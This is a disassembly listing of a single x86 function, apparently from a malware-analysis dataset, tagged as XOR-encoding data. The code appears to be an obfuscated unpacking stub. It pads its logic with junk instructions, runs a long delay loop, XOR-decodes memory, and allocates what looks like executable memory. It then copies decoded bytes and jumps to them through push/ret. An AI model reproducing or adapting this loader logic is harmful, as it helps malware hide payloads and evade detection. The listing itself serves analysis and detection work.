Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4a0485d7
sub edx, eax
sub edx, 0x390a42d7
popal
mov edx, eax
mov eax, 0x6efd7550
mov esi, 0
mov eax, ecx
inc edx
inc edx
dec ebx
mov edi, eax
dec ebx
not ebx
mov ecx, edi
dec edx
and ebx, edx
add esi, 1
and ebx, edx
or edx, edx
cmp esi, 0x1002ffc
jne 0xa789c7
dec edx
dec edx
sub ebx, edx
mov eax, 0xdd1b49b0
sub edx, eax
dec edx
mov esi, 0xa78796
add eax, 0x9c867aa5
or ecx, ebx
sub eax, ecx
mov edi, 0xa7898a
add ecx, ebx
add eax, 0x59bd2dc9
mov edx, dword [esi]
sub ebx, 1
add ebx, ecx
and edx, 0xff
not eax
sub eax, 0x7e2d6019
not ebx
xor dword [edi], edx
add ecx, ecx
add eax, 0xdb8d2b1e
mov ecx, ebx
inc edi
add ecx, eax
mov ebx, 0xa1566b95
inc esi
and eax, ecx
sub ebx, 0x820c99c3
sub ecx, 0xf4bf06c6
cmp edi, entry0
jl 0xa78a14
or ebx, eax
mov ecx, eax
mov ecx, ebx
mov ebx, eax
add eax, eax
mov ecx, 0x7be6842
not esi
mov edx, 0xa7898e
mov esi, ebx
add ecx, 1
or esi, ebx
mov edx, dword [edx]
not esi
inc edi
mov edx, dword [edx]
sub ecx, ebx
add ebx, 0xa869c5cc
sub esp, 4
mov dword [esp], edx
sub ecx, ebx
dec edi
sub esi, 0xa354f564
mov edx, 0xa7898a
mov ebx, 0xf69310c7
add ebx, edi
mov edx, dword [edx]
mov esi, 0x6f57241c
mov ecx, edi
mov edx, dword [edx]
not edi
mov ebx, 0xdb605512
and edi, edi
push 0xa78992
mov esi, 0x995f1fca
and ebx, edi
call edx
add edi, 0xda2eb0e1
mov esi, 0x98c36403
sub edi, esi
pop edx
and esi, esi
sub esi, 0xc7976ee6
add ecx, 0x28bf0635
sub esp, 4
mov dword [esp], 0xa7899f
add ecx, esi
sub edi, 1
sub edi, 0x1434a1e1
push eax
add esi, edi
add ebx, ecx
call edx
sub ecx, 0x7e3b4771
inc esi
sub esi, 0x8acc8ba9
push 0x40
and ecx, ecx
sub edi, 0x214934e0
push 0x3000
inc ecx
sub ecx, ebx
push 0x20000b85
add esi, 0x81d53a33
mov esi, edi
add edi, 0xa437cb58
push 0
mov edi, 0xdee45ec4
or ecx, ebx
call eax
dec ebx
sub ebx, 1
sub ecx, esi
add eax, 0x20000ad9
add esi, ecx
sub esi, 0x4963b245
sub edi, 0xc0ca5052
mov edx, 0x532c5b9a
sub ecx, esi
or edi, ecx
add edi, ebx
mov dword [eax], edx
not ecx
and ecx, esi
not edi
mov edx, dword [eax]
not ecx
or edi, ecx
inc ecx
cmp edx, 0x532c5b9a
je 0xa78b8d
mov ebx, 0
mov dword [ebx], edx
dec edi
or ecx, edi
sub edi, 0xbbbdad2f
add ebx, 0x91b59f00
inc esi
inc edx
and edx, eax
inc eax
mov ecx, section..text
add eax, 1
sub eax, edx
sub eax, edx
mov edi, 0xa78795
mov edx, eax
dec eax
mov esi, 0
and edx, edx
or edx, eax
mov ebx, 0xa78796
add eax, edx
add eax, 0xd9060bb1
lea ebx, [ebx + esi]
add edx, 0x89759ae3
add eax, edx
not eax
mov ebx, dword [ebx]
add eax, 0xc277763
mov eax, edx
and ebx, 0xff
mov eax, 0xd2d985d0
dec eax
add esi, 1
dec eax
add edx, 0xfeccb008
add edx, eax
cmp esi, 0x1f4
jne 0xa78c0d
mov esi, 0
add edx, edx
add eax, eax
add edx, eax
or eax, edx
mov eax, 0x8644825b
xor dword [ecx], ebx
add eax, 0xa35a1400
inc eax
add ecx, 2
dec eax
mov edx, eax
mov eax, edx
cmp ecx, edi
jl 0xa78bc1
mov eax, edx
sub eax, 0xe8bad127
add eax, 0xb99c8d05
add edx, 0x8265b55a
sub edx, eax
mov ebx, section..text
sub ecx, edi
sub ecx, 0x2a8b7666
mov ecx, 0x75f91d58
mov esi, section..text
sub edi, 1
mov ecx, edi
mov edi, ecx
mov eax, 0xa78795
sub edi, 0x8559841e
sub edi, 1
mov edx, 0
add ecx, ecx
sub edi, ecx
sub edi, 0x95b2eae5
mov dl, byte [esi]
not ecx
not edi
mov byte [ebx], dl
mov ecx, 0x828cf65b
not ecx
sub edi, ecx
add ebx, 1
sub ecx, edi
mov ecx, 0xe7fab77d
mov ecx, edi
add esi, 2
mov ecx, edi
dec ecx
dec edi
cmp esi, eax
jle 0xa78c8d
inc edi
sub edi, ecx
or ecx, edi
inc edx
add eax, eax
push 0x8dc6a0
mov eax, 0xff69d1da
inc edx
ret